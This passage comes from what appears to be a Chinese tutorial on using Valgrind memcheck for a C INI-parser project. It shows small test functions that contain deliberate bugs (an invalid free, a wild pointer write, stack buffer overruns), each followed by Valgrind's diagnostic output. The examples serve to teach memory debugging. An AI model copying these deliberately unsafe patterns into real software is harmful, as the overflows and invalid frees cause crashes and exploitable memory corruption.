</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x48B5D3E: printf (printf.c:33)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x10A5C8: test_memory (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x10A5E2: test_parser (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==    by 0x10A5FD: main (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==330==  Address 0x4a52c31 is 1 bytes inside a block of size 10 free&#39;</span><span class="nv">d</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>    at 0x483CA3F: free <span class="o">(</span>in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>    by 0x10A5B0: test_memory <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>    by 0x10A5E2: test_parser <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>    by 0x10A5FD: main <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>  Block was alloc<span class="err">&#39;</span>d <span class="nv">at</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>    at 0x483B7F3: malloc <span class="o">(</span>in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>    by 0x10A57C: test_memory <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>    by 0x10A5E2: test_parser <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>    by 0x10A5FD: main <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>
</span></span><span class="line"><span class="cl">test_data:test
</span></span><span class="line"><span class="cl"><span class="nb">test</span> count:36, <span class="nb">test</span> passed:36, 100.00%
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span> 
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span> HEAP SUMMARY:
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>     in use at exit: <span class="m">0</span> bytes in <span class="m">0</span> <span class="nv">blocks</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>   total heap usage: <span class="m">181</span> allocs, <span class="m">181</span> frees, 27,734 bytes <span class="nv">allocated</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span> All heap blocks were freed -- no leaks are <span class="nv">possible</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span> For lists of detected and suppressed errors, rerun with: -s
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">330</span><span class="o">==</span> ERROR SUMMARY: <span class="m">13</span> errors from <span class="m">5</span> contexts <span class="o">(</span>suppressed: <span class="m">0</span> from 0<span class="o">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div></li>
<li>
<p>free 不存在的地址</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">test_memory</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="o">*</span><span class="n">test_data</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">test_data</span> <span class="o">=</span> <span class="nf">malloc</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">memset</span><span class="p">(</span><span class="n">test_data</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">10</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">strcpy</span><span class="p">(</span><span class="n">test_data</span><span class="p">,</span> <span class="s">&#34;test&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">test_data</span><span class="o">++</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nf">free</span><span class="p">(</span><span class="n">test_data</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">valgrind --leak-check<span class="o">=</span>full --show-leak-kinds<span class="o">=</span>all ./build/build_out/target/test
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">395</span><span class="o">==</span> Memcheck, a memory error <span class="nv">detector</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">395</span><span class="o">==</span> Copyright <span class="o">(</span>C<span class="o">)</span> 2002-2017, and GNU GPL<span class="s1">&#39;d, by Julian Seward et al.
</span></span></span><span class="line"><span class="cl"><span class="s1">==395== Using Valgrind-3.15.0 and LibVEX; rerun with -h for copyright info
</span></span></span><span class="line"><span class="cl"><span class="s1">==395== Command: ./build/build_out/target/test
</span></span></span><span class="line"><span class="cl"><span class="s1">==395==
</span></span></span><span class="line"><span class="cl"><span class="s1">==395== Invalid free() / delete / delete[] / realloc()
</span></span></span><span class="line"><span class="cl"><span class="s1">==395==    at 0x483CA3F: free (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so)
</span></span></span><span class="line"><span class="cl"><span class="s1">==395==    by 0x10A5B5: test_memory (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==395==    by 0x10A5CF: test_parser (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==395==    by 0x10A5EA: main (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==395==  Address 0x4a52c31 is 1 bytes inside a block of size 10 alloc&#39;</span><span class="nv">d</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">395</span><span class="o">==</span>    at 0x483B7F3: malloc <span class="o">(</span>in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">395</span><span class="o">==</span>    by 0x10A57C: test_memory <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">395</span><span class="o">==</span>    by 0x10A5CF: test_parser <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">395</span><span class="o">==</span>    by 0x10A5EA: main <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">395</span><span class="o">==</span>
</span></span><span class="line"><span class="cl"><span class="nb">test</span> count:36, <span class="nb">test</span> passed:36, 100.00%
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">395</span><span class="o">==</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">395</span><span class="o">==</span> HEAP SUMMARY:
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">395</span><span class="o">==</span>     in use at exit: <span class="m">10</span> bytes in <span class="m">1</span> <span class="nv">blocks</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">395</span><span class="o">==</span>   total heap usage: <span class="m">181</span> allocs, <span class="m">181</span> frees, 27,734 bytes <span class="nv">allocated</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">395</span><span class="o">==</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">395</span><span class="o">==</span> <span class="m">10</span> bytes in <span class="m">1</span> blocks are definitely lost in loss record <span class="m">1</span> of <span class="nv">1</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">395</span><span class="o">==</span>    at 0x483B7F3: malloc <span class="o">(</span>in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">395</span><span class="o">==</span>    by 0x10A57C: test_memory <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">395</span><span class="o">==</span>    by 0x10A5CF: test_parser <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">395</span><span class="o">==</span>    by 0x10A5EA: main <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">395</span><span class="o">==</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">395</span><span class="o">==</span> LEAK SUMMARY:
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">395</span><span class="o">==</span>    definitely lost: <span class="m">10</span> bytes in <span class="m">1</span> <span class="nv">blocks</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">395</span><span class="o">==</span>    indirectly lost: <span class="m">0</span> bytes in <span class="m">0</span> <span class="nv">blocks</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">395</span><span class="o">==</span>      possibly lost: <span class="m">0</span> bytes in <span class="m">0</span> <span class="nv">blocks</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">395</span><span class="o">==</span>    still reachable: <span class="m">0</span> bytes in <span class="m">0</span> <span class="nv">blocks</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">395</span><span class="o">==</span>         suppressed: <span class="m">0</span> bytes in <span class="m">0</span> <span class="nv">blocks</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">395</span><span class="o">==</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">395</span><span class="o">==</span> For lists of detected and suppressed errors, rerun with: -s
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">395</span><span class="o">==</span> ERROR SUMMARY: <span class="m">2</span> errors from <span class="m">2</span> contexts <span class="o">(</span>suppressed: <span class="m">0</span> from 0<span class="o">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div></li>
<li>
<p>访问非法地址</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">void</span> <span class="nf">test_parser</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">test_parser_normal</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// test abnormal
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nf">test_parser_abnormal</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="nf">test_memory</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">valgrind --leak-check<span class="o">=</span>full --show-leak-kinds<span class="o">=</span>all ./build/build_out/target/test
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">480</span><span class="o">==</span> Memcheck, a memory error <span class="nv">detector</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">480</span><span class="o">==</span> Copyright <span class="o">(</span>C<span class="o">)</span> 2002-2017, and GNU GPL<span class="s1">&#39;d, by Julian Seward et al.
</span></span></span><span class="line"><span class="cl"><span class="s1">==480== Using Valgrind-3.15.0 and LibVEX; rerun with -h for copyright info
</span></span></span><span class="line"><span class="cl"><span class="s1">==480== Command: ./build/build_out/target/test
</span></span></span><span class="line"><span class="cl"><span class="s1">==480==
</span></span></span><span class="line"><span class="cl"><span class="s1">==480== Invalid write of size 1
</span></span></span><span class="line"><span class="cl"><span class="s1">==480==    at 0x10A577: test_memory (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==480==    by 0x10A593: test_parser (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==480==    by 0x10A5AE: main (in /mnt/d/workspace/lwiniparser/build/build_out/target/test)
</span></span></span><span class="line"><span class="cl"><span class="s1">==480==  Address 0x23444 is not stack&#39;</span>d, malloc<span class="s1">&#39;d or (recently) free&#39;</span><span class="nv">d</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">480</span><span class="o">==</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">480</span><span class="o">==</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">480</span><span class="o">==</span> Process terminating with default action of signal <span class="m">11</span> <span class="o">(</span>SIGSEGV<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">480</span><span class="o">==</span>  Access not within mapped region at address <span class="nv">0x23444</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">480</span><span class="o">==</span>    at 0x10A577: test_memory <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">480</span><span class="o">==</span>    by 0x10A593: test_parser <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">480</span><span class="o">==</span>    by 0x10A5AE: main <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">480</span><span class="o">==</span>  If you believe this happened as a result of a <span class="nv">stack</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">480</span><span class="o">==</span>  overflow in your program<span class="err">&#39;</span>s main thread <span class="o">(</span>unlikely <span class="nv">but</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">480</span><span class="o">==</span>  possible<span class="o">)</span>, you can try to increase the size of <span class="nv">the</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">480</span><span class="o">==</span>  main thread stack using the --main-stacksize<span class="o">=</span> flag.
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">480</span><span class="o">==</span>  The main thread stack size used in this run was 8388608.
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">480</span><span class="o">==</span> 
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">480</span><span class="o">==</span> HEAP SUMMARY:
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">480</span><span class="o">==</span>     in use at exit: <span class="m">0</span> bytes in <span class="m">0</span> <span class="nv">blocks</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">480</span><span class="o">==</span>   total heap usage: <span class="m">179</span> allocs, <span class="m">179</span> frees, 26,700 bytes <span class="nv">allocated</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">480</span><span class="o">==</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">480</span><span class="o">==</span> All heap blocks were freed -- no leaks are <span class="nv">possible</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">480</span><span class="o">==</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">480</span><span class="o">==</span> For lists of detected and suppressed errors, rerun with: -s
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">480</span><span class="o">==</span> ERROR SUMMARY: <span class="m">1</span> errors from <span class="m">1</span> contexts <span class="o">(</span>suppressed: <span class="m">0</span> from 0<span class="o">)</span>
</span></span><span class="line"><span class="cl">make: *** <span class="o">[</span>Makefile:12: memcheck<span class="o">]</span> Segmentation fault
</span></span></code></pre></td></tr></table>
</div>
</div></li>
<li>
<p>局部变量越界</p>
<p>写越界</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">test_memory</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="n">test_data</span><span class="p">[</span><span class="mi">10</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
</span></span><span class="line"><span class="cl">    <span class="nf">sprintf</span><span class="p">(</span><span class="n">test_data</span><span class="p">,</span> <span class="s">&#34;test333333333333333333&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span> <span class="p">(</span><span class="s">&#34;%s</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">test_data</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">valgrind --leak-check<span class="o">=</span>full --show-leak-kinds<span class="o">=</span>all ./build/build_out/target/test
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">527</span><span class="o">==</span> Memcheck, a memory error <span class="nv">detector</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">527</span><span class="o">==</span> Copyright <span class="o">(</span>C<span class="o">)</span> 2002-2017, and GNU GPL<span class="err">&#39;</span>d, by Julian Seward et al.
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">527</span><span class="o">==</span> Using Valgrind-3.15.0 and LibVEX<span class="p">;</span> rerun with -h <span class="k">for</span> copyright <span class="nv">info</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">527</span><span class="o">==</span> Command: ./build/build_out/target/test
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">527</span><span class="o">==</span>
</span></span><span class="line"><span class="cl">test333333333333333333
</span></span><span class="line"><span class="cl">*** stack smashing detected ***: <span class="nv">terminated</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">527</span><span class="o">==</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">527</span><span class="o">==</span> Process terminating with default action of signal <span class="m">6</span> <span class="o">(</span>SIGABRT<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">527</span><span class="o">==</span>    at 0x489700B: raise <span class="o">(</span>raise.c:51<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">527</span><span class="o">==</span>    by 0x4876858: abort <span class="o">(</span>abort.c:79<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">527</span><span class="o">==</span>    by 0x48E126D: __libc_message <span class="o">(</span>libc_fatal.c:155<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">527</span><span class="o">==</span>    by 0x4983AB9: __fortify_fail <span class="o">(</span>fortify_fail.c:26<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">527</span><span class="o">==</span>    by 0x4983A85: __stack_chk_fail <span class="o">(</span>stack_chk_fail.c:24<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">527</span><span class="o">==</span>    by 0x10A5EC: test_memory <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">527</span><span class="o">==</span>    by 0x10A605: test_parser <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">527</span><span class="o">==</span>    by 0x1FFEFFFE4F: ???
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">527</span><span class="o">==</span>    by 0x10A620: main <span class="o">(</span>in /mnt/d/workspace/lwiniparser/build/build_out/target/test<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">527</span><span class="o">==</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">527</span><span class="o">==</span> HEAP SUMMARY:
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">527</span><span class="o">==</span>     in use at exit: <span class="m">0</span> bytes in <span class="m">0</span> <span class="nv">blocks</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">527</span><span class="o">==</span>   total heap usage: <span class="m">180</span> allocs, <span class="m">180</span> frees, 27,724 bytes <span class="nv">allocated</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">527</span><span class="o">==</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">527</span><span class="o">==</span> All heap blocks were freed -- no leaks are <span class="nv">possible</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">527</span><span class="o">==</span>
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">527</span><span class="o">==</span> For lists of detected and suppressed errors, rerun with: -s
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">527</span><span class="o">==</span> ERROR SUMMARY: <span class="m">0</span> errors from <span class="m">0</span> contexts <span class="o">(</span>suppressed: <span class="m">0</span> from 0<span class="o">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>读越界</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">test_memory</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="n">test_data</span><span class="p">[</span><span class="mi">100</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
</span></span><span class="line"><span class="cl">    <span class="nf">sprintf</span><span class="p">(</span><span class="n">test_data</span><span class="p">,</span> <span class="s">&#34;test333333333333333333&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span> <span class="p">(</span><span class="s">&#34;%c</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">test_data</span><span class="p">[</span><span class="mi">100</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">valgrind --leak-check<span class="o">=</span>full --show-leak-kinds<span class="o">=</span>all ./build/build_out/target/test
</span></span><span class="line"><span class="cl"><span class="o">==</span><span class="nv">571</span><span class="o">==</span> Memcheck, a memory error <span class="nv">detector</span>
